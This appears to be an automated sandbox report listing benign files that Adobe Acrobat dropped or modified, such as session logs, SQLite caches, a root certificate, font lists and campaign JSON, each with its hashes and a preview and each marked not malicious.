Preview:	2025/01/11-00:53:53.841 1f4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:53:53.913 1f4c Recovering log #3.2025/01/11-00:53:53.951 1f4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.180807479453036
Encrypted:	false
SSDEEP:	6:iO2DaN+q2PcNwi2nKuAl9OmbzNMxIFUto3SZZmwCWNFNVkwOcNwi2nKuAl9OmbzE:7QK+vLZHAa8jFUtT//V54ZHAa84J
MD5:	92B92E95728614553F6DBEC33560CE09
SHA1:	82A4949B39013FAEDFF04E4CE77E3B86403BB216
SHA-256:	FB375C3644FBD693241345F946B4DF49C349403DCDF2CF7315FDC1C94899C060
SHA-512:	913B1445E97F048C9E30E0530C0F6CF756AFFAE8DFA7779C3A27F9A5C8409940CF8603AEB26FE97ED3D0C989A6BE0869C2BE4220EA713FA90BB5FF3881ED5DB4
Malicious:	false
Preview:	2025/01/11-00:53:53.841 1f4c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-00:53:53.913 1f4c Recovering log #3.2025/01/11-00:53:53.951 1f4c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438591470863655
Encrypted:	false
SSDEEP:	384:Ceici5GMiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:lgurVgazUpUTTGt
MD5:	7D903606A00B9F4DA16159183FB9C705
SHA1:	26CEA7EA94F4939DDA7DB1CD8F1A538FB3C5082C
SHA-256:	E675B6BA17F87C0FF9BF499C397F39B2D926BDA37F733013F226C959FDE53229
SHA-512:	4B1A09401D8354D37B2AA1B833F94B28C4694FA683D3EF85A51F2CC6A66CD041234683E492B826348B9BD13BB702B3E6A033F2D6E1EC10AF7342C34E7AC0050F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.216774398241927
Encrypted:	false
SSDEEP:	24:7+tkj6wKtqL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Mzc:7M4Wtq/mFTIF3XmHjBoGGR+jMz+LhJ
MD5:	5842031D8E01C40A59270E780015536A
SHA1:	A85B6C204DEC2F058049BA7A47D3107B95E9CD91
SHA-256:	CC44C5A57780B43019037128C937953E56A98E8B106E77D5F38AAC145AD40517
SHA-512:	817AB8D29DD0B759C96F24943B7BC3C95FFF2E78C4BCBBAF862AEB876D73EF27EFEBAA8607476DA2D0FDD53E717C7D8E3379AA91F030BF9C68A9633748EAD027
Malicious:	false
Preview:	.... .c.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.734169656628181
Encrypted:	false
SSDEEP:	3:kkFklh1bNttfllXlE/HT8khbNNX8RolJuRdxLlGB9lQRYwpDdt:kKwDeT8mpNMa8RdWBwRd
MD5:	C6F6F4E65453F1503A465331FC8463E9
SHA1:	00463636A2A5439F9CAB9A316E5B171FAED37B36
SHA-256:	B41A3F27A8B9E50419E55FA20FECC8452DCE1EB709D56EB4E1CB3C352E5F23E9
SHA-512:	5E099B144D92117508E8B9A20D27EE8A4A2086A508A85FF7534F1BDD842202B9A466F7C671C704BAE4FA530686405B2D5843E0FECAA2291DD8B9D7A08174EEFF
Malicious:	false
Preview:	p...... .........Q.6.c..(....................................................... ..........W....._..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1391791584200512
Encrypted:	false
SSDEEP:	6:kKheHL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:cHiDnLNkPlE99SNxAhUe/3
MD5:	955D50FB1F4AA28CE8AC7491B6AFD89D
SHA1:	6A950AF6C50BA781A18593950331FD1406FBBCD3
SHA-256:	0659A5FB0F8304600DA3962CDA820044882E82D4D91F7021E2E1357DB659389E
SHA-512:	1C893C419AC323BB43E0E41645D8F136F6BF7D3EB39F79D1E545DFAF1A84530828870BA44F6D0EFD61D5843E630411C3FEE196E9A05E9150CD7C7C4C09BB6C6E
Malicious:	false
Preview:	p...... ...........H.c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7548

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7548

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.386073147559276
Encrypted:	false
SSDEEP:	6:YEQXJ2HX97QhW6EpHjQXeO4WsGiIPEeOF0YOwoAvJM3g98kUwPeUkwRe9:YvXKX94SQXeObsdTeOubGMbLUkee9
MD5:	A2A8C258C8C0B5ACB6F7CE9D11B94F39
SHA1:	401E714641EAD10D236B4E80773D83EF5B4DB619
SHA-256:	063F2C85680634715742321A66B3CBFAC04F4E7EA6D98821E6557D9F0B129623
SHA-512:	58AF7F9E0A15EF95032B2814AA3FF01ACC1C4DB6E983AFE6479F8AD9A5DD36EF82F649DE4C236461349E63E284ECDAE71DC7D3781CF00DFCD86AB6CB999598D5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fdee2087-5c96-4c03-baeb-05f5bb4df52d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736753462004,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.31938262804485
Encrypted:	false
SSDEEP:	6:YEQXJ2HX97QhW6EpHjQXeO4WsGiIPEeOF0YOwoAvJfBoTfXpnrPeUkwRe9:YvXKX94SQXeObsdTeOubGWTfXcUkee9
MD5:	967E1751C971A5BF1E74BA6DB3E98587
SHA1:	FEF89C43CC0F959F22E5566296DA9E10A13BCC62
SHA-256:	947CD61C290A36EDCACC3ADB8E830433994A3A5F91995B1945AF043841ADDC59
SHA-512:	0B4FFF2AAF5F8CE7903A40B29511066DA21AC7EE763C841BA9E1360D8183A8B81C5345B49D9C8D260DDE2B7E784388CB4CA517F316466230E07BB401EA01E89E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fdee2087-5c96-4c03-baeb-05f5bb4df52d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736753462004,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.298203703090448
Encrypted:	false
SSDEEP:	6:YEQXJ2HX97QhW6EpHjQXeO4WsGiIPEeOF0YOwoAvJfBD2G6UpnrPeUkwRe9:YvXKX94SQXeObsdTeOubGR22cUkee9
MD5:	6C57F76AF0A8D9610AB89A60DA680012
SHA1:	1A2EB4383250AA1A54E7380BCA1F7C01D86D3F95
SHA-256:	5DEB427233F6DDB955691D2242E0D79A97327C360FB578C4665B466777F26DD9
SHA-512:	1D4735750F13F2F0DAF4E6A36104F5BE57E564BFF3CBC41B164E7FA8498A3E5F968C17E4B191E609D4BCAE45AAB9ECB5F2AAFAC437CEA8F2F32E8A40980B168A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fdee2087-5c96-4c03-baeb-05f5bb4df52d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736753462004,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3737482844418825
Encrypted:	false
SSDEEP:	6:YEQXJ2HX97QhW6EpHjQXeO4WsGiIPEeOF0YOwoAvJfPmwrPeUkwRe9:YvXKX94SQXeObsdTeOubGH56Ukee9
MD5:	B54FD8BBDBF4E0073144F5E756E9FAE6
SHA1:	BDE8D28D066F08555B224FA6B42F0A87C2EB297D
SHA-256:	FBAA2B561CC4AB0A3449143E5878CE94078403C091533BCCF458B79F1A236FCE
SHA-512:	EE46EAE8018B2F6219D9DDC05C448B04BCCB8CE245C6635B65A69E21E9F31542A91080DFD7224C69261E5B2C148B28451E01A9A2713E692ADC2787FCD915ABED
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fdee2087-5c96-4c03-baeb-05f5bb4df52d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736753462004,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.68741109196483
Encrypted:	false
SSDEEP:	24:Yv6X94SCjmeOuwpLgE9cQx8LennAvzBvkn0RCmK8czOCCSbS:Yv2enwhgy6SAFv5Ah8cv/W
MD5:	C92EE2DAB071B35D9F94EAA384F11C32
SHA1:	EFFC4B4230197AC963BEA9AE3F1918BBC8AFD3C0
SHA-256:	AEA31FF63FB16CE7B04491ECCDF556FA839B320D668997D75F8683881BADB142
SHA-512:	9EFE98A33B67C914FCD3762A4A77A708EE01C2DE5A38B2CE4942A3C25E9A36D65BC6539EFF6305A2DF46299CB875DFDC5F181F6D4F7B9A22FD9D2C96F0352D77
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fdee2087-5c96-4c03-baeb-05f5bb4df52d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736753462004,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.307690547035075
Encrypted:	false
SSDEEP:	6:YEQXJ2HX97QhW6EpHjQXeO4WsGiIPEeOF0YOwoAvJf8dPeUkwRe9:YvXKX94SQXeObsdTeOubGU8Ukee9
MD5:	C8EF71904EA3BAABF2DA3648C8EBC240
SHA1:	D32390494EC23140CCD2CC0BC423B2AFBC9DE0DE
SHA-256:	C2DA7598F17B3B604ADEE54F648A0FEDDCDAD95085C0FF6501A5A8BAD461B3B4
SHA-512:	AD9613D136F23752322A2520745912434F4D3D6A684B98DD1BA711DD63ADFBE182CF4D065E965D869954E8DA7759FCE54C183C2B710B693239DEFAC68F41ACCF
Malicious:	false
